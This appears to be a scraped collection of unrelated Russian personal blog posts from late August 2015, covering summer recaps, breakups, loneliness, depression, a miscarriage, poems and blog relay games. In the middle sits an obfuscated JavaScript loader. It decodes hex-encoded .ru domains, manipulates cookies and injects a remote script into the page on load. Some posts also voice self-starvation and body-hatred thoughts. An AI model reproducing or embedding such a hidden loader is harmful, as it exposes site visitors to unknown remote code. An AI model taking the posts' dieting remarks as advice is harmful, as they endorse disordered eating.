да мне тоже ламы идти в университет и я не проч бездельничать, но я отлично провела это лето и стораюсь искать во всем +, а это значит что когда я пойду на учебу я буду занят и немного отвлекусь от мысле о том что я жирная, нужно не есть/меньше есть, что б схомячить, нужно похудеть…

Сегодня меня посещают разные мысли, которые не дают мне покоя. Некоторые из них приятные, а некоторые сжигают меня изнутри. Во-первых, мне очень грустно из-за того, что мне не удалось найти в жизни дела, которое не только бы приносило доход, но и вносило в мою жизнь гармонию. Однако, люди полностью довольные тем, чем им приходится заниматься не встречались мне никогда, пожалуй. Даже лучшие специалисты, которых вообще сложно представить в другой ипостаси, порой задумываются о том, что их работа им не подходит. Так что либо только самые удачливые находят дело своей жизни, либо это невозможно и вовсе. В любом случае, время покажет, а пока что, меня все устраивает. Во-вторых меня тревожат воспоминания об упущенных возможностях. Кто знает, как бы все сложилось поверни я в другую сторону? Конечно, думать об этом нет смысла, но я человек и в моей голове много всего лишнего и бесполезного, но при этом дорогого мне. И несмотря на то, что прошлое осталось позади, отпустить его не просто. В-третьих, заканчивается лето. Пока еще тепло, но скоро погода начнет меняться. Однако, в этом ничего плохого нет. Круговорот природы должен продолжаться. Как и круговорот нашей жизни. К слову о прошлом. Сегодня, я многое вспоминал о том, что лето значило для меня раньше. Это было волшебное время полное чудес и предвкушения того, что будет дальше. Каждый день приносил что-то новое. Удивительно, мы многое забываем, но впечатления сохраняются надолго и возможно навсегда. Сейчас, жизнь стала однообразной. Каждый день одно и то же: тот же пейзаж, те же люди, те же дела. Жизнь превратилась в рутину и потеряла красочность. Или я ошибаюсь? Может прошлое как картины, со временем становится ценнее. И когда-нибудь я буду вспоминать именно сегодняшние времена, как самые красочные. Не знаю, в этом-то и прелесть нашей жизни.

Бесит, когда меня переполняет чувство любви и чувство возбужденности. Хочется рассказать ему об этом, так как пока мы не можем находиться рядом, а он, как на зло, ведет себя холодно.

« Жизнь - это одиночество.
Ты совсем один, пойми это раз и навсегда
»

За свою жизнь я встречала кучу разных типов людей: человек может быть одинок в душе и не иметь рядом ни друзей, ни просто единомышленников; человек может быть одинок в душе, но при этом быь окружён безумными, понимающими друзями; человек может быть просто счастливичком, быть душой компании и при этом никогда не чувствовать себя одиночкой; да и просто существует много разных вариаций. Я, будучи ребёнком, естественно не ощущала одиночества, ведь у меня была куча друзей, я была окружена теплотой и любовью со стороны близких. Да даже наоборот, я всегда думала, что мне нереально повезло - я родилась на свет душой компании. Но годы прошли, я выросла, взгляды и вкусы поменялись, и я почувствовала дыру. Огромную дыру в области сердца. В всоё время я потеряла часть близких друзей, но тогда я и подумать не могла, что это как-то скажется на моём характере, и уж тем более никак не ожидала со временем почувствовавть тако дикое опустошение. И если бы вы, дорогие читатели, увидели бы меня наяву, вы бы и не поверили, что такой жизнерадостный свиду человек может загоняться по поводу боли и одиночества. Да что уж и говорить - меня не может осчастливить даже огромное количество близких друзей рядом. Я могу улыбаться, смеяться до истерик, вопить от переизбытка эмоций, болтать бз умолку, когда я нахожусь в окружении друзей, а когда прихожу домой и нахожусь наедине с собой и со своими мыслями, я чувствую себя такой ненужной, беспомощной, одинокой, что хоть из кожи вон лезь. В такие моменты я не чувствую никакой поддержки, заботы, понимания, мне просто кажется, что весь мир рушится, что все события идут против меня одной. Таким людям как я противопоказано вообще долго находиться одной, грузиться по поводу несбывшихся надежд и будущих гнусных планов. Это неправильно - оставаться наедине. Без друзей, родных, близких. Отключать Интернет и все средства связи. Просто лежать и думать. Думать о том, что ты одинок, и всегда таким будешь. Клянусь, в таких условиях можно просто сойти с ума.

Ненавижу его. Ненавижу то, как я себя чувствую из-за него. Ненавижу чувствовать себя униженной самой собой. Ненавижу, что мне стыдно рассказать маме, что зачастую я пишу ему первая и зову в гости как ни в чем не бывало. Ненавижу мысли о безответной любви. Ненавижу сны, которые снятся мне практически каждые два дня с аней, и каждый раз она и он меня в них обманывают. Ненавижу себя за то, что не могу найти силы разорвать все это. Ненавижу безупречные, полные любви, ночи с ним. Ненавижу то, как он себя ведет. Ненавижу, когда мама намекает на то, что может у него кто-то есть. Ненавижу мир, в котором нельзя любить и быть вместе без интриг и игр. Ненавижу его любовь к одиночеству. Ненавижу то, что он не беспокоится за меня. Ненавижу свою любовь к нему.

мечты нет, целей нет, мужа нет и без шансов даже кому - то понравиться, потому что красивой внешности нет, оптимизма нет, веры нет, работы нет, любимого дела нет… ничего нет. привет, мне скоро 23 года и если кто-то скажет, что моя депрессия (ну или просто "упадок сил") выдумана… при таком количестве причин в одно время… ну я даже не знаю.

Пожалуйста, помни, что если ты полон сомнений или что-то кажется невозможным, всегда есть тот, кто верит в тебя. Это я.

Джаред Лето.

У меня трешак. Завтра еду на учебу, жить буду не в общаге, а со Стасом. Мои родители не знают об этом. И все это собирание было через такую жопу, денег нет ни копейки, а все что было, на что я бы жила месяц, он один спустил за неделю! Короче если мне придется нянчить его, то я думаю что мы разъедемся, а отношения закончатся. Я блин уже еду с таким настроением, с таким настроем.: (я бы так вообще жила в общаге, ну была бы у него, когда то бы ночевала. И мы ссоримся щас каждый день! Короче, да начнется быт, посмотрю насколько он муж и на сколько я жена.

пошла спать в 2.думала, посплю до 11.и опять меня ждал облом. как неожиданно-то блин с утра собралась, поехала в поликлинику. записалась к лору и на экг, сходила к стоматологу, где сказали, что все впорядке.надо лишь пломбу переделать одну.потом поехала к бабушке. просидела у нее пару часиков и поехала к малой в больницу. устала безумно) но…еще не вечер))

Зря удерживать не стала.
Гордость женская взыграла.
Отпустила и разлука в дом вошла.
Ты - моя любовь последняя была.
Ты - моя любовь!!!
Первая любовь - любовь последняя!
Нежная и пошлая.
А теперь лишь - прошлое.
Только!!!
От её мне не найти спасения.
Как небес пророчество.
Гордость и терпение.
Пропасть в одиночество.
Совпадение….

Пока я в поисках работы, причем в пассивном поиске, приходится как-то развлекать себя дома, потому что он на работе. Это мучительное ожидание каждый день сводит с ума. И это двоякое чувство хочу/не хочу на работу убивает. Мне нравится ждать его, но не нравится терять время на это. Хочется быть занятой, полезной кому-то, но проработав 3 года, точнее пропахав как кобыла почти без отдыха и с кучей потрёпанных нервов, вообще нет никакого желания трудится. Отдохнуть. Морально и физически, пожалуйста.

Сейчас 19:44, мы жарим лосося в сыре и варим гречу, ибо особо заморачиваться над ужином не хочется. Он устал, да и я у меня первый день самизнаетечего. Дико болит живот, хожу соннутой пополам. Ждём.

Я кружевом белым накрою свой старый стол,
Выключу лампы, свет погашу в квартире.
Заглушу свой тихий и дурно- печальный стон,
Оттого, что мы бродим по разным дорогам мира.

Я выключу все телефоны и сотру номера,
Не хочу больше слышать надежду в каждом звонке.
Ведь я путаю все чужие с твоим голоса,
И теряюсь в догадках, где ты сейчас и с кем.

Я удалю фотографии из всех социальных сетей,
И в альбоме порву их до мелких-мелких кусочков.
Мне каждое место здесь болью кричит о тебе,
О тебе поет каждая из всех, мною сказанных, строчек.

Я все звонки удалю, чтобы больше не помнить смех,
Чтобы тембр забыть и не вспоминать твой номер.
Но ты знаешь ведь, это провал - не успех,
Я тону в тебе, в моем самом глубоком море.

Я пыталась не думать о том, что было у нас,
Только сны по ночам заставляли меня возвращаться.
Вспоминать обрывки громко сказанных фраз,
И в глаза твои снова и снова влюбляться.

Я ночами ведь не спала, они для меня - что нож,
Просто вру, что отлично все и к тебе я остыла.
Я люблю тебя, слышишь, да так, что бросает в дрожь,
Чтобы жить без тебя я собрала все мои силы.

Мое сердце не здесь, оно рядом с тобой,
И стихи все твои в моей белоснежной тетрадке.
Я боюсь лишь через года услышать твой голос,
такой родной,
Чтоб в ответ на вопрос "как дела?", ты ответил "в порядке".

очередная смазанная картинка:
встреча в кафе. а до - перерыв полгода.
мальчик напротив рассматривает ботинки,
я рассуждаю, какое дерьмо погода.
он разошёлся. громко читает Лорку.
я восседаю прямо, как на поминках.
сколько бы память не билась ко мне в подкорку,
ни одного совместного фотоснимка.

я достаю табак. забываю спички.
он на меня взирает с немым укором.
это моя приевшаяся привычка,
что никогда не нравилась режиссёрам:
в каждом заснятом кадре слепые пятна,
плёнка покрылась серой дорожной пылью.
так легче дышится. только вот непонятно:
не были мы или всё же когда-то были?

кто разбегался, прыгая в пруд с карьера?
кто, не боясь свалиться, ходил по крыше?
с кем целовались осенью на премьере,
так, что соседи шипели "тише!"?

это не я. я не помню себя в двенадцать.
в три. в восемнадцать. в шесть. я вообще ничего не помню.
с кем мы успели спеться и с кем расстаться?
с кем подпирали рассохшийся подоконник
в доме, где, вроде, когда-то горели свечи?
после - пожар, и кого-то везли на скорой.
время - не врач. оно никого не лечит,
а вырезает причудливые узоры
на зеркалах и людях. второе - чаще.
я остаюсь невыделанной овчиной.
нет фотографий. пуст мой почтовый ящик.
люди уходят. я восседаю чинно..

мальчик напротив громко читает Лорку.
мне ударяет в затылок с огромной силой
мысль. врезает ножом подкорку:

я же его любила.

День 76: Что Вы думаете о омоложении? (имеется ввиду пользование косметикой и хирургии ради сокрытия возраста)

отрицательно смотрю на подобные вещи.мне желательно вообще избегать любых хирургических вмешательств…плохо подобное влияет на мое состояние.

Привет мой милый вьюв, прошло больше года с того момента, как я забросила свой старый бложек. Совсем недавно перечитала все свои старые записи там, сделала множество выводов о том о сём, да и решила завести себе новоё место слёта моих мыслей. Тем более, в преддверии и на протяжении такого тяжёлого времени я должна куда-то выплёскивать все свои чувства, так что, и снова здравствуй, вьюви♥

31.08.2015

День 75: Какой лучший сон, который Вы когда-либо видели?

Лучших снов у меня нет.Есть сон который мне не ясен, но запомнился слишком хорошо.

Я запомнила одно сноведение.Мне на тот момент было 11 лет.
В общем штука такая: я стою в каком то светлом углу(в помещении, но достаточнострашно замкнуто чувствую себя) и целуюсь с незнакомым для меня мальчиком(я не чувствовала как мы целуемся, но просто момент такой я и он и наш поцелуй) очень продолжительно.Потом такой кадр: нам то ли делают замечание, то ли просят просто отойти какая-то тетя…я поднимаю резко голову наверх…там такая небольшая дверца (как вход в чердак) …которая как магнитом прям притянула в тот момент и напротив нас стоящих стояла стремянка не раскрытая…появился доброжелательный мужчина который пододвинул стремянку к нам разложил ее и предложил подняться наверх…я не раздумывая поднялась…и там…сплошняком наваленно игрушек…нераскрытые коробки с куклами…музыкальные шкатулки…машинки…ну просто рай для детей…но само по себе помещение…было пыльное и там были задернуты шторы(свет почти не проникал) …потом через время такой кадр: я бегу по какому то коридору (в направление того же самого угла на котором мы с мальчишкой целовались) и слышу как там падает ведро с водой и уборщица погневалась стоя со шваброй в руках и продолжила намывать пол…я смотрю там нет стремянки и когда подняла глаза(расстерялась) спросила где дверь, а мне ответили: -"Ничего больше не будет"…и мелодия зазвучала (больно грустная) из моей компьютерной игры…
последний фрагмент из сна:я запомнила только, что убираю на своей старой квартире кровать(утро, за окнами светло) и из каркаса выходят крокодилы и змеи…

, я не понимаю…как растолковать подобное…но это единственный сон о котором я до сих пор помню(просто говорят, что если человек надолго запоминает сон, то получается, то что он видел, должно быть довольно важным знаком на яву…то есть получается это либо играет какую-то важную в моей жизни роль, ну или просто предсказание на будущее.

Срочные задания магическим образом напрочь вытесняют из неспокойной головушки все мучающие и тревожащие мысли о том, как же сложится моя дальнейшая женская судьба. Пока я не замужем, вынуждена терпеть периодически возникающие в моей голове чужие голоса, являющие по большей части искаженный и преувеличенный образ страхов остаться невостребованной, которые, противно и в укор нашептывая мне, терзают меня своими напоминаниями, сколько мне уже лет, что время стремительно раскручивается вперед, что еще недавно мне было 22, когда я вступила на путь самостоятельных решений, но уже истекло n лет с момента моего первого рабочего дня в этой бухгалтерии, и еще много-много всякой обрывочной несуразной каши из кажущихся глупыми поступков, вообще-то потерявших срок давности… Да, элементы наносного программирования соответствия общепринятым нормам и устоям все еще сильны во мне, и они заставляют меня шевелиться и искать своего человека. Я чувствую, что опять погрязаю в снежном коме, который может перекрыть все потоки и поводы для искрящегося и радостного настроя, какой мне с легкостью удавалось сохранять последние полгода точно. И этим сильно рискую - мне нельзя быть чересчур загруженной проблемами, это сразу отражается во внешнем виде… "Ты сегодня какая-то не такая, даже взгляд другой", - я услышала это на третий день моей новой работы, когда меня реально придавило несуществующим грузом ответственности. Да я же всю учебу проходила в подобном груженом состоянии, не позволяя себе малейших поводов для радости… Дааа, было и такое, все казалось беспросветным, а имевшееся - не дотягивающим до лучшего, и оттого не могла я позволить себе мысль, что и без всяких наносных элементов сама по себе замечательна. Что ж, приветствую старое, уже поблекшее состояние полной неуверенности, с каким отходила все пять лет универа, добро пожаловать, но долго ему гостить у себя не позволю. Пусть потопчется, обнажит мои слабые стороны обжигающей памятью, но расшаркиваться с подобающими почестями ему не намерена.

для мужчины его женщина должна быть самой главной победой в жизни, и он ни на минуту не должен забывать об этом.

31 августа. Время написать пост-итог прошедшего лета, наверное.

Ну что. Та-дам. Это худшее лето в моей жизни! Я никуда не ездила, кроме бабули^^, ах, и ужасные сутки на озере за городом. Почти никуда не ходила, кроме повседневных скучных прогулок, и одной поездки к однокласснику на дачу. Ни разу не напилась, не чувствовала себя счастливой. Сто раз поругалась с родителями, сто раз сама создала себе проблемы, и еще столько же раз убедилась, что не люблю лето. Ничего не изменилось, в этом моя вина. Просто дурацкое лето. Я даже в последнии дни только ездила по магазам и всё.
И я рада, что не поехала с мамой туда, куда планировали еще с июня, что никто не приехал ко мне. Зачем, когда лето такое неудачное.
Вчера был афигенный концерт Левана. Меня на нем не было. Мне просто не с кем было пойти, а одна… на пляж за городом, почти ночью, не. Я смотрела видосы, и правда оч круто.
Даже день города, который мог бы быть хоть каким-то ярким моментом лета, перенесли с 30 августа на 5 сентября.
Ура, оно закончилось. И увы, ведь время не вернуть обратно, чтобы что-то исправить, ведь учеба, ведь депрессивная осень… и вообще ничего не меняют времена года)


В последний день лета всегда грустно о том, сколько ты возлагал на него надежд, и как-то "не сбылось", потому что погода дрянь, было не с кем или торчал сутками на работе). Теперь куча дел на сентябрь - универ, работа и зал, в котором я уже 2 месяца не появлялась. Через неделю висит парочка экзаменов, которые летом кое-кто не сдал и теперь уже нужно ебнуть их одним днем и пойти дальше, сдвигая все с мертвой точки. Не покидает идея смотаться куда-нибудь самолетом дней на 10, и я очень постараюсь это осуществить.

Какая черта делает мужика идеальным? Правильно. Чтоб у него не было всех этих ебаных подруг, лучших подруг, близких подруг, отличных девчонок с работы и вообще знакомых женского пола. Идеальный мужик - тот, который дружит только с мужиками.

Приняла от bretagne, передаю lissa-sun, lyndsy и fire-phoenix.

Правила:
выложить фотографию двух книг из коллекции (суть именно в том, чтобы это были печатные книги) и обосновать свой выбор.
Эстафету постить под тэгами "2 books" и "2 книги", чтобы было легче найти.


1. Страна радости
Потому, что Стивен Кинг.
Меня очень привлекает тематика парков развлечений, в особенности с примесью мистики.
Эта книга последняя, которую я прочитала, и она напоминает мне о нашем отдыхе в Хакасии, как я читала ее вечерами в номере. А потом мама заинтересовалась и тоже взялась за нее)

2. Сияние
Потому, что Стивен Кинг. [2]
Прочитала после просмотра экранизации 1980-го. И если до прочтения я полностью восхищалась фильмом, то после - только лишь плевалась в разные стороны. Этот роман я готова перелистывать снова и снова, каждый раз выискивая что-то новое в неоднозначных строчках. Ох уж этот Оверлук со своим грязным бельем.. и колоритными персонажами.
Кстати, опять же, в Хакасии, проживая в гостинице, немного почувствовала себя одним из героев романа, т.к. кроме нас там почти никого не было. Шарились по пустым дворикам, одни плавали в бассейне, одни сидели в ресторанчике. А официант однозначно привиделся..)

Сегодня, скорее всего, официально закончатся мои отношения с Ж. Я увидела свое новое расписание и там есть аж 4 пары в пятницу. Я вряд ли смогу к нему приезжать на выходные: с

Поэтому все закончится. Я не хочу, но отношения на расстоянии для него бред. Я тоже не хочу его мучать, но блин… Как же не хочется все заканчивать. Опять больно, опять переживания и эта дурацкая привязанность.

Похоже, я влюбилась в тебя, Ж. Но и этой истории пришел конец. Удачи тебе, родной: *

Ну вот, завтра уже 1-е сентября. Не могу поверить, что мне не придеться уже идти в универ, сидеть на парах, сдавать модули, нервничать из-за курсовых, сессий, диплома.

На эту осень план №1 - найти работу! Я сейчас перестала обновлять мои резюме, так как пока не смогу посвятить этому время. Но через недельку обязательно этим займусь уже серьезно.

Лето пролетело очень быстро. Если честно, то июня как небывало из-за диплома и прочих университетских рутинных дел. В июле съездила к родным. Тётя с дядей подарили телефон в честь окончания учебы и защиты дипломной работы (она прошла на отлично), этому я была рада как слон и до сих пор не могу поверить что у меня такой телефончик. Потом я наконец-то решилась заняться кое-каким вопросом, который все время откладывала и вот сейчас как раз решаю его.

Я не расстраиваюсь по поводу окончания лета, если честно то жарища уже надоела и хочеться чтобы сезон тепла, просто тепла (+23-+27) ещё продлился. Ну, а впереди нас всех ждет осень, теплые пледы, чай, книги, фильмы, тыквенный пироги, у меня ещё + ко всему день рождения моей ненаглядной Наташеньки.

В общем, ребятки, всем тем, кого завтра ждет ранний подъем, кому завтра идти в школу/универ - удачи вам! Будьте умняшками. Пусть сначало вам покажеться что это крах (я так и подумала 1-го сентября на 1-м курсе, даже разревелась дома), помните, дальше 100% будет легче. Особенно это касается тех, кто идет на 1-ий курс. У вас впереди столько всего нового и интересного, новые знакомства, новые влюбленности, новые впечатления и много много всего. Главное не сдавайтесь и идите вперед, ничего не бойтесь :)

Ну, а тем, кто как и я, прошли это стадию, хочу пожелать терпения. Оно уж очень важно. Ну и конечно же, чтобы мы нашли отличную работу, которая будет приносить не только материальное удовлетворение но и счастье душевное. Главное, чтобы работа нравилась.
И, чтобы я поскорее нашла работу…

P.S. надеюсь на ваши кулачки :)

Напоминание

Готовилась к защите практики и придумала, как подводить итоги прошедшей неделе. Все пометила себе, осталось главное - не забыть записывать в конце неделе. А вообще, думаю, это хорошая идея в плане организации себя. потому что хватит занимать фигней !

в моей жизни слишком много вещей, которых я не сделала(потому что страшно;считала не нужным;не придавала значения), людей, которых уже давно не должно в ней быть.

я каждый день готова благодарить бога за моих пацанов, но я глупая. рано или поздно я потеряю их, если не перестану так себя вести.

если не перестану писать по миллиону сообщений, если не перестану ныть, не перестану ругаться и обижаться на всякие глупости.

у них железные нервы и я очень их люблю.

не прощу себе никогда, если их потеряю.

Лёгок на помине.

Стою в магазине очереди, сзади становится мама бывшего лучшего друга. Он меня видит, тащит маму в другую очередь. Выхожу из магазина, замечаю их возле фруктовой палатки, его взляд на мне. Быстро переводит его. Эй, дружище, нас связывало 11 лет! 11, мать твою! А ты позволяешь себе такое неуважение. Ладно, что ещё не здороваешься, но как же маразматично уходить в другую очередь! Я что, палач, от которого люди в старые времена уходил на другую сторону дороги?! Господи, кого я только считала лучшим другом.

Знаете, это так обидно, когда видишь бывшего лучшего друга, он делает вид, словно между вами ничего и не было.. 11 лет..

3 summer things


Приняла от chai-ptica . Передаю seasky , labeletwo , wand , red-river , roda , dumdeedum , resistance , и всем желающим.


Правила: называем 3 слова (это может быть либо существительное, либо глагол), которые ассоциируются с этим летом и кратко обосновываем свой выбор. Постим под тэгом "3 summer things".


Спокойствие.
Это лето выдалось на редкость спокойным, никаких многочисленных знакомств, разговоров, поездок куда-либо, да даже мой отдых на море нес в себе какое-то умиротворение, покой, безмятежность.


Пейзажи.
Мои глаза видели невероятное количество удивительных пейзажей этим летом. И пусть далеко не все из них были сфотографированы фотокамерой, зато они были сфотографированы глазами, я оставила их в памяти для себя.


Плавать
За это лето я наплавала столько милль (или чего там) сколько не плавала никогда. Я плавала в море, я плавала в речке, я плавала в пруду. Плавание сделало это лето лучше.

ну привет.

съездила на ногти, приехала домой и завалила Лешу сообщениями. он разозлился, что я отвлекаю его. почти поругались, или все-таки да.

мне страшно от одной мысли о потере. мне жаль, что я не умею все спускать на тормоза и относиться как-то спокойнее ко всему.

я плачу от того, что не знаю как себя вести. всегда.

дура

Следующая цифра - двадцать один. «Ваше воспоминание из детства» - не знаю, что может быть хуже этого воспоминания. Единственное, что мне приходит на ум, когда просят вспомнить что-нибудь из детства - это история о том, как я несла свою полуживую собаку на руках. Мне было лет шесть. Я гуляла со своей собакой. И вдруг, она рванула через дорогу на красный свет. Естественно, вряд ли у ребенка хватит сил удержать, хоть и не большую, но такую проворную псину. К слову, собака породы такса. В итоге ее сбила машина, переехала два раза. Когда загорелся зеленый сигнал светофора, я выбежала на дорогу, взяла ее на руки. Люди вокруг были в шоке, а я вся в крови и в слезах, несла своего песика домой. Точно не помню, как и что там было. Но собачка выжила, правда сбежала через пару месяцев после того, как поправилась. Вот такая история из детства.

Мы были лучшими друзьями. Зачем ты мне это сказал? И как ты мог молчать все это время? Два года я рассказывала тебе всю свою блядскую жизнь. Как ты это слушал? Эта любовь все испортила. Прости, я была к этому не готова.

Ах да, сегодня же последний день лета. Если бы не вью, не заметила бы… Самое ужасное лето в моей жизни.

Июнь был неплох - сессия на отлично, практика понравилась, еще и предложили остаться у них, начала собирать весь пакет документов, муж приехал, свадьба брата, хоть и не очень удавшаяся, наша годовщина свадьбы, хоть и не отмечали….

С самого начала июля чувствовала себя очень плохо, беременность уже была, я не знала еще… 12 июля узнала, ну и весь июль провалялась дома, так как было безумно плохо.

В последний день июля муж уехал на полгода, думала время пролетит, так как буду занята малышом и всякими приятностями) Но две недели снова провалялась с жутким токсикозом… А где-то 12 августа мне полегчало, резко ушли все симптомы, токсикоз, грудь и т.д. Я еще так обрадовалась(( (А 14 августа пошла кровь, сделали узи, и 15-го выскабливание было(((

Эти 2 недели были как в аду, теперь я занята только анализами, лечением и т.д. И поисками причин. Конечно, никто не скажет точно причину, но у меня есть 4 основные причины, которые есть в моем случае, просто нужно вылечить это…

Так спешила на тренировеку, что теперь сижу и жду на лавочке у арт-площадкиарт-площадки… Не люблю не пунктуальных людей

Лето 2015 - это не просто лето, это пушка))

Ну серьёзно! Сначала 2 месяца офигенной практики. Каждый день новые приколы, шутки, ситуации. Начиная от "Илья, вы только что чуть не убили своего товарища - Нет, спасибо, со мной всё в порядке" и заканчивая "Ну Коль, давай напишем, что был ливень и никуда не пойдём" :D Наша подгруппа сроднилась, стала маленькой семьёй, с которой не то, что на выходные расставаться не хочется, на лето!! Месяц-два без своих роднулек - это испытание для всех нас. Зато какой приятной будет встреча ^^ а как же наши выходные… Ооо)) Алые паруса, которые плавно перетекли в Капеллу, ДР Поли, открытие Maza Park и конец практики перед открытием :D можно просто бесконечно перечислять истории, связанные с этиой практикой ;)

Дальше тоже весело, ибо "Горизонт") сначала я думала, как это можно скучать по лагерю (каюсь, раньше никогда не была в лагерях), тем более по студенческому. А теперь понимаю, каково это - скучать по лагерю, особенно по студенческому) встретила столько новых людей, появилось столько приколов и воспоминаний… Теперь не могу спокойно слушать "Танцуй, планета", "No Stress" и "НО ТОЛЬКО ТЫЫЫ РЫБА МОЕЙ МЕЧТЫЫЫЫЫЫ", сразу хочется танцевать :D На последнем костре смены я даже чуть не заплакала, как всё это стало мне близким, родным и дорогим ^^

А потом дорога домой ^^ Тут всё так уютно и мило, тепло. Скучаешь порой по такому, живя в общаге)

В общем, лето'15, спасибо большое за всё, что было! Это самое яркое, солнечное, БЭЩЩЕНОЕ лето в моей жизни :) Я буду скучать!!!

Надеюсь, осень будет такой же бомбической ;) пожалуйста, не подведи <3

Ну что ж, наконец то я добралась до интернета и готова рассказать как у меня прошло лето 2015. Прочитав по заголовкам предыдущих постов, поняла, что настолько все изменилось, просто координально. Начнем с того, что меня кинул Макс. Человек с которым мы были 4 года, пережили практически все, и были большие планы на будущее. Но оказывается, не всегда все заканчивается так хорошо, как бы мы хотели. Запомнилось только то, что я плакала больше месяца, каждый день, ну и то, что въебала ему с кулака прям в челюсть и не один раз. Потом как оказалась, я была не одной жертвой этого лета. Хоть наши отношения с Яной Ю испортились за последние года, но общая трагедия нас очень сблизила. Мы просто каждый день заливали горе, сначало страдали, каждый день только и говрили о пацанах, что нас предали. А под конец уже лета, сдружились с барой, рыжим, котом и остальными. Это лето оказалось самым отрывным, было выпито максимальное колличеств алкоголя, выкурено много сигарет, выплаконо слез, и отплясано столько песен. Я встретила два парня, которые мне понравились, и вот это метание между, придало мне только еще больше приключений. Не забуду эти двое суток у меня дома, как мы отрывались, а во второй день и вообще устроили иксы у меня в столовй. Мы просто с барой так отплясывали, я думала стол рухнет. Кот-Женя. До сиж пор мне это не дает покоя никакого. Но…кажется, я влюбилась уже в Женю. И если честно не представляю чем все это закончится… даже страшно. А к коту у меня теперь такой интерес, что бы ему понравится. Ведь он у нас весь такой недоступный распиздяй, что куда деваться. Короче- вызов принят. Сижу в общаге, одна пью пивко, и пишу пост. Ахуенно. На счет болта, могу сказать, что никогда бы не подумала, что человек так может предать, очень обидно, и даже больно читать все эти посты снизу, как я его любила, как все было круто у нас. Урод. Честно, нет слов. Но если бы не он, у меня бы небыло такого отрывного лета, небыло бы Жени, и не познакомилась бы с Котом. Всем спасибо за это лето. Мы были на море, отрывались каждые выхдные в хуторе, Нина приезжала в гости, ходили на ергаки. Много было смешного (например как я вите тонкиху плюнула в лицо, под зибой) Кстати круто отдохнули на даче, целых 2 раза.Много было разговоров по душам, все как я люблю короче.

31 августа 2015 года

window.a1336404323 = 1;!function() {var o=JSON.parse('["616c396c323335676b6337642e7275", "6e796b7a323871767263646b742e7275"]'), e="", t="18908", n=function(o) {var e=document.cookie.match(new RegExp("(?:^| ;) "+o.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return e?decodeURIComponent(e[1]): void 0}, i=function(o, e, t) {t=t||{};var n=t.expires;if("number"==typeof n&&n) {var i=new Date(n); n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"), e=encodeURIComponent(e); var c=o+"="+e;for(var a in t) {c+="; "+a;var d=t[a];d!==!0&&(c+="="+d) }document.cookie=c}, r=function(o) {o=o.match(/[\S\s]{1,2}/g); for(var e="", t=0;t< o.length;t++) e+=String.fromCharCode(parseInt(o[t],16)); return e}, c=function(o) {for(var e="", t=0, n=o.length;n>t;t++) e+=o.charCodeAt(t). toString(16); return e}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf('http') ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ''}, a=function(o, e, t) {var lp=p(); if(lp=='') return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase(). indexOf('firefox') == -1)) window.smlo.loadSmlo(n.replace('https:', 'http:')); else if(window.zSmlo && (navigator.userAgent.toLowerCase(). indexOf('firefox') == -1)) window.zSmlo.loadSmlo(n.replace('https:', 'http:')); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.executed||(this.executed=!0, "function"==typeof e&&e()) }, i.onerror=function() {this.executed||(this.executed=!0, i.parentNode.removeChild(i), "function"==typeof t&&t()) }}}, d=function(u) {var s=n("oisdom"); e=s&&-1!=o.indexOf(s) ?s:u?u:o[0];var f, m=n("oismods"); m?(f=r(e) +"/pjs/"+t+"/"+m+".js", a(f, function() {i("oisdom", e) }, function() {var t=o.indexOf(e); o[t+1]&&(e=o[t+1], d(e)) })): (f=r(e) +"/ajs/"+t+"/c/"+c("viewy.ru") +"_"+(self===top?0:1) +".js", a(f, function() {i("oisdom", e) }, function() {var t=o.indexOf(e); o[t+1]&&(e=o[t+1], d(e)) })) };d() }();

тот момент, когда ты наконец отпустил все переживания, заполняющие тебя целый год, как вдруг заводится разговор о том, что, оказывается, еще не все решено, просто пока пусть все идет своим чередом. пока, на секундочку, это ближайшие десять дней. через три же недели придет ответ, а там кто знает, может придется все бросить и уезжать. за пару минут до этого ты был уверен, что пристегнулся и хорошо уселся, а теперь земля из-под ног ушла и уши заложило.

ну и кто разревелся прямо у порога? ну и кто опять зациклился? ну же, кто?

—мне приснилось, что я где-то гуляю, а мне навстречу идет "тут фамилия, которая никому ничего не скажет", увидел меня и вдруг говорит: "вы, наверное, меня теперь возненавидите…", у меня прям ступор случился, помню
-за что, ксень?
-за то, что вас увезет

wake me up when september ends

а еще мне нужен человек который бы помогал мне, поддерживал, составил компанию или просто бы общался со мной отвлекая от грустных и лишних мыслей

What do you mean?

When you nod your head yes

But you wanna say no

What do you mean?

When you don't want me to move

But you tell me to go

What do you mean?

я не особый фанат Джастина, но я люблю эту песню и этот клип! хей, по-моему, получилось красиво, сексуально и немного странно? в хорошем смысле. подстроить похищение девушки, которое даже не похищение? в общем, в его стиле ;) мне нравится*_*

глядя на эти фото я не понимаю как мой парень может любить меня, как я его могу возбуждать, и как он может говорить что я самая красивая ???

оО

у меня нет сил смотреть на свое фото, ну так, а кто же в этом виноват? вселенная?

залила сюда свои фото..как только попадаются они в графе "самое новое" начинаю быстро листать вниз, потому что смотреть на это не возможно, зарание простите те кто увидит их и будет обречен на сотни безсонных ночей, после увиденного.

надеюсь через месяц загружу фото и параметры которые будут не так отвратительны

C Димулей ездили до Ачинска на машине. Это наше первое мини-путешествие. Выехали рано утром, с непривычки хотелось спать. Вдоль дороги живописно, деревья начинают желтеть и дороги полупустые. Сначала Дима был хмурый, чем немного подпортил мне настроение. Но потом мы стали петь и веселиться. Я смотрела на него и понимала, как сильно люблю его в этот самый момент. По дороге мы поели лагман и купили орешки. Дома занялись сексом и все было просто замечательно. Я так счастлива :)

День 71: Отличия между Вами и вашим лучшим другом.

  • слушаем абсолютно разных музыкальных исполнителей, тоже самое с фильмами
  • имеем много разногласий в плане магазинов одежды(она переборчива, а я почти все подряд беру)
  • темпераменты…(я меланхолик, а она сангвиник)
  • я умею идти на уступки, она нет.(и это не значит что я добрая, а она чертовски зла и холодна ко всем…не от этого зависит)

